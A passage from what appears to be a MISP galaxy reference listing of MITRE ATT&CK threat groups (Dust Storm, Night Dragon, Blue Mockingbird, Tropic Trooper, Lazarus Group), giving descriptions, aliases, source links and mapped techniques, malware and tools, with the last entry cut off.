- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows File and Directory Permissions Modification - T1222.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Conti - S0575" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Dyre - S0024" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Nltest - S0359" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Bazar - S0534" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Ryuk - S0446" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="GrimAgent - S0632" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing Certificates - T1588.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="AdFind - S0552" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 4997. Table References

Links
https://attack.mitre.org/groups/G0102
https://us-cert.cisa.gov/ncas/alerts/aa20-302a
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/
https://www.crowdstrike.com/blog/wizard-spider-adversary-update/
https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html
https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html

Dust Storm - G0031

[Dust Storm](https://attack.mitre.org/groups/G0031) is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)

The tag is: *misp-galaxy:mitre-intrusion-set="Dust Storm - G0031"*

Dust Storm - G0031 is also known as:

- Dust Storm

View relationships graph

Dust Storm - G0031 has relationships with:

- uses: misp-galaxy:mitre-malware="Misdat - S0083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ZLib - S0086" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="S-Type - S0085" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="Dust Storm" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Mis-Type - S0084" with estimative-language:likelihood-

probability="almost-certain"

Table 4998. Table References

Links
https://attack.mitre.org/groups/G0031
https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf

Night Dragon - G0014

[Night Dragon](https://attack.mitre.org/groups/G0014) is a campaign name for activity involving a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)

The tag is: *misp-galaxy:mitre-intrusion-set="Night Dragon - G0014"*

Night Dragon - G0014 is also known as:

- Night Dragon

View relationships graph

Night Dragon - G0014 has relationships with:

- uses: misp-galaxy:mitre-tool="at - S0110" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1307" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Data Staging - T1074.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1330" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="zwShell - S0350" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ASPXSpy - S0073" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote access tool development - T1351" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="gsecdump - S0008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="Night Dragon" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 4999. Table References

Links
https://attack.mitre.org/groups/G0014
https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf

Blue Mockingbird - G0108

[Blue Mockingbird](https://attack.mitre.org/groups/G0108) is a cluster of observed activity involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems.

The earliest observed Blue Mockingbird tools were created in December 2019.(Citation: RedCanary Mockingbird May 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Blue Mockingbird - G0108"*

Blue Mockingbird - G0108 is also known as:

- Blue Mockingbird

View relationships graph

Blue Mockingbird - G0108 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="COR_PROFILER - T1574.012" with estimative-language:likelihood-probability="almost-certain"

Table 5000. Table References

Links
https://attack.mitre.org/groups/G0108
https://redcanary.com/blog/blue-mockingbird-cryptominer/

Tropic Trooper - G0081

[Tropic Trooper](https://attack.mitre.org/groups/G0081) is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. [Tropic Trooper](https://attack.mitre.org/groups/G0081) focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper May 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Tropic Trooper - G0081"*

Tropic Trooper - G0081 is also known as:

- Tropic Trooper
- Pirate Panda
- KeyBoy

View relationships graph

Tropic Trooper - G0081 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="KeyBoy - S0387" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="BITSAdmin - S0190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="USBferry - S0452" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="YAHOYAH - S0388" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ShadowPad - S0596" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

Table 5001. Table References

Links
https://attack.mitre.org/groups/G0081
https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/
https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf
https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/
https://www.crowdstrike.com/blog/on-demand-webcast-crowdstrike-experts-on-covid-19-cybersecurity-challenges-and-recommendations/

Lazarus Group - G0032

[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094).

The tag is: *misp-galaxy:mitre-intrusion-set="Lazarus Group - G0032"*

Lazarus Group - G0032 is also known as:

- Lazarus Group

- Labyrinth Chollima
- HIDDEN COBRA
- Guardians of Peace
- ZINC
- NICKEL ACADEMY

View relationships graph

Lazarus Group - G0032 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BLINDINGCAN - S0520" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Proxysvc - S0238" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Torisma - S0678" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="KEYMARBLE - S0271" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ThreatNeedle - S0665" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Digital Certificates - T1588.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Bankshot - S0239" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="AuditCred - S0347" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Dacls - S0497" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="RawDisk - S0364" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Library - T1560.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="HOPLIGHT - S0376" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Volgmer - S0180" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Upload Tool - T1608.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Server - T1583.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="WannaCry - S0366" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="TYPEFRAME - S0263" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="TAINTEDSCRIBE - S0586" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
